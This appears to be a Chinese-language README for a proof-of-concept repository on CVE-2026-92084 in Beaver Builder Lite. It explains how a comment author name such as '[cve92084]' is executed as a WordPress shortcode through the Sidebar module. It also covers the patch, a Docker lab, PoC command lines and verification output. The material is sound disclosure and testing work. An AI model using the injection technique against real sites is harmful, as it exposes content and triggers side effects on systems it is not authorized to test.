用于复现和验证 CVE-2026-92084 的安全研究材料:
Beaver Builder (Lite) <= 2.11.0.5 会执行植入到由 Sidebar 模块渲染的 widget 输出中的任意已注册 WordPress 短代码,这是通过构建器的布局级 do_shortcode() 处理实现的。
'renders_shortcodes' => false;方括号编码机制本身在更早版本中已发布且未更改)AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) - CWE-94仅在您拥有或明确获授权测试的系统上使用。 该 PoC 发布一条评论,其作者名称包含一个实验环境注册的标记短代码。未使用破坏性短代码,且不会向磁盘写入任何内容。
状态:在提供的实验环境中已证明。
Beaver Builder Lite 2.11.0.5(WordPress 7.1.2,带有 Sidebar 模块 + Recent Comments widget 的构建器页面):
comment posted : author name "[cve92084]" on the builder page
result : rendered page contains the marker shortcode's server-side
output "CVE92084-SHORTCODE-FIRED"
(executed by the layout-wide do_shortcode() pass)
2.11.0.6 : brackets entity-encoded, marker absent (patched negative
control; page shows the literal text [cve92084])
这演示了在服务端执行任意已注册的短代码,其输出嵌入页面中,并向每位访客披露。它并不演示 RCE;影响取决于目标上注册了哪些短代码(文章/元数据泄露、表单、带有副作用的插件提供的短代码)。
汇聚点。 FLBuilder::render_content() 在回显之前,会将组装好的构建器布局经过一次宽泛的短代码处理:
// classes/class-fl-builder.php:2139, Beaver Builder Lite 2.11.0.5
$content = do_shortcode( $content );
注入点。 Sidebar 模块会将 WordPress 侧边栏的小工具输出原样渲染到该布局中:
// modules/sidebar/includes/frontend.php:4, 2.11.0.5
if ( ! dynamic_sidebar( $settings->sidebar ) ) {
小工具内容是不可信的用户数据——核心的 Recent Comments 小工具会输出 get_comment_author_link(),也就是(未认证的)评论者提供的任意名称。FLBuilder::double_escape_shortcodes() 只会重新加括号处理 [[x]] 转义形式,因此普通的 [cve92084] 会直接通过,并被 do_shortcode() 执行。
修复方案。 2.11.0.5 已经提供了中和机制——FLBuilderModule::$renders_shortcodes = true(class-fl-builder-module.php:143)以及挂接到两个模块渲染过滤器上的 FLBuilder::escape_foreign_module_shortcodes()(class-fl-builder.php:109-110,在 3240 处应用),该函数会对模块输出中任何已注册短代码的括号进行实体编码。Sidebar 模块只是从未选择退出。2.11.0.6 中唯一的功能性改动就是这个退出选项:
// modules/sidebar/sidebar.php, 2.11.0.6
'renders_shortcodes' => false,
// dynamic_sidebar() renders third-party widget output that can contain
// untrusted user data (e.g. a comment author name via the core Recent
// Comments widget); do not run its shortcodes.
/wp-comments-post.php POST 一条评论,将短代码载荷作为
评论作者名。do_shortcode() 处理过程执行该
载荷。其输出替换作者名,对每位访客可见。要求:主机上安装 Docker(含 Compose v2)、Python 3.10+。
./lab verify
构建 2.11.0.5 实验环境,要求标记触发,然后构建
2.11.0.6 实验环境并要求标记不存在。使用
./lab reset 移除所有内容。
存在漏洞的对照项:
[!!!] SHORTCODE EXECUTION CONFIRMED
posted : comment author '[cve92084]' on page 5
evidence: 'CVE92084-SHORTCODE-FIRED' present in the rendered builder page
context : ...<a href="https://github.com/hassham1/cve-2026-92084-beaver-builder-shortcode-poc/blob/main/..." class="url">CVE92084-SHORTCODE-FIRED</a>...
RESULT: VULNERABLE CONTROL CONFIRMED
已修补的控件:
[=] shortcode text present but NOT executed: brackets entity-encoded
(patched >= 2.11.0.6 behavior: escape_foreign_shortcodes).
RESULT: PATCHED CONTROL CONFIRMED
页面中仅出现在所显示注释(原始文本)内的标记不被视为有效证明;该标记必须作为短代码的实际执行输出出现。
./lab start vulnerable # 2.11.0.5 lab on http://127.0.0.1:9488
./lab test # assert marker fires
./lab start patched # 2.11.0.6 lab
./lab test # assert absence
./lab status
./lab reset
通过手动运行 PoC(默认使用回环地址;授权的外部目标需要显式覆盖):
python3 poc/poc_cve_2026_92084.py --url http://127.0.0.1:9488 --post-id 5
python3 poc/poc_cve_2026_92084.py --url https://target.example \
--post-id 5 --allow-authorized-non-loopback [--insecure]
nuclei 模板(nuclei/cve-2026-92084.yaml)仅用于版本筛查
(readme.txt 稳定标签 <= 2.11.0.5)。该行为链需要提交评论
并完成审批状态转换,这在 nuclei 中难以表达;Python PoC 执行完整流程。
| 版本 | 评估 |
|---|---|
| Beaver Builder Lite 2.11.0.5 | 短代码执行已端到端复现 |
| Beaver Builder Lite 2.11.0.6 | 已复现修复后的阴性对照 |
| Beaver Builder Lite <= 2.11.0.4 | 根据公告受影响;未单独测试 |
| Beaver Builder(Pro/Agency) | 未测试——公告范围仅限 Lite 插件 |
.
├── .github/workflows/validate.yml
├── .gitignore
├── LICENSE
├── README.md
├── SECURITY.md
├── docker-compose.yml
├── lab
├── nuclei/
│ └── cve-2026-92084.yaml
├── poc/
│ └── poc_cve_2026_92084.py
└── provision/
└── install.php
未提交:assets/(插件 zip 包)、.lab-state、__pycache__/。
| 声明 | 状态 |
|---|---|
| 通过 Sidebar 模块小工具输出执行短代码 | 已证实(2.11.0.5) |
| 执行输出在渲染后的构建器页面上被披露 | 已证实 |
| 已修补的阴性对照(2.11.0.6,方括号已编码) | 已证实 |
| 默认配置(实验环境侧边栏 + 近期评论小工具) | 已证实(即本实验环境拓扑) |
| 其他回显用户数据的小工具(标签云、元信息、自定义) | 未测试 |
| 超出已注册短代码输出范围的影响(RCE) | 未声明 |
仅在你拥有或获得明确授权测试的系统上运行本仓库。实验环境驱动程序会拒绝 vulnerable/patched 之外的变体,PoC 会拒绝非回环目标,除非提供 --allow-authorized-non-loopback,且 Compose 端口绑定到 127.0.0.1。
有关披露处理,请参阅 SECURITY.md。本仓库不包含生产目标、客户数据、访问令牌或来自真实系统的证据。
MIT - 请参阅 LICENSE。